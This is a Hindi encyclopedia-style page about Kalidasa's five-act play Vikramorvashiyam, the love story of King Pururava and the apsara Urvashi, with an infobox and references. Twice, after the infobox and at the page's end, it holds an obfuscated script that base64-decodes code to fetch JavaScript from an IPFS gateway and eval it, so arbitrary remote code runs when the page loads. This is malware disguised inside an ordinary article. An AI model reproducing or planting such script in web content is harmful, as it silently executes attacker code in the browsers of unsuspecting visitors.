विक्रमोर्वशीयम्

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
विक्रमोर्वशीयम्
'विक्रमोर्वशीयम्' का आवरण पृष्ठ
कवि महाकवि कालिदास
मूल शीर्षक विक्रमोर्वशीयम्
मुख्य पात्र पुरुरवा और उर्वशी
प्रकाशक राजपाल प्रकाशन
प्रकाशन तिथि 1 जनवरी, 2008
ISBN 978-81-7028-776
देश भारत
विधा नाटक
मुखपृष्ठ रचना अजिल्द
विशेष विक्रमोर्वशीयम् के प्राकृतिक दृश्य बड़े रमणीय हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

विक्रमोर्वशीयम् कालिदास द्वारा रचित पाँच अंकों का एक त्रोटक[1] है। इसमें राजा पुरुरवा तथा अप्सरा उर्वशी की प्रणय कथा वर्णित है।

  • विक्रमोर्वशीयम् में श्रृंगार रस की प्रधानता है, पात्रों की संख्या कम है।
  • इसकी कथा ऋग्वेद[2] तथा शतपथ ब्राह्मण[3] से ली गयी है।
  • महाकवि कालिदास ने विक्रमोर्वशीयम् नाटक को मानवीय प्रेम की अत्यन्त मधुर एवं सुकुमार कहानी में परिणत कर दिया है।
  • विक्रमोर्वशीयम् के प्राकृतिक दृश्य बड़े रमणीय हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. उपरुपक
  2. ऋग्वेद, 10/15
  3. शतपथ ब्राह्मण, 11/5/1

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>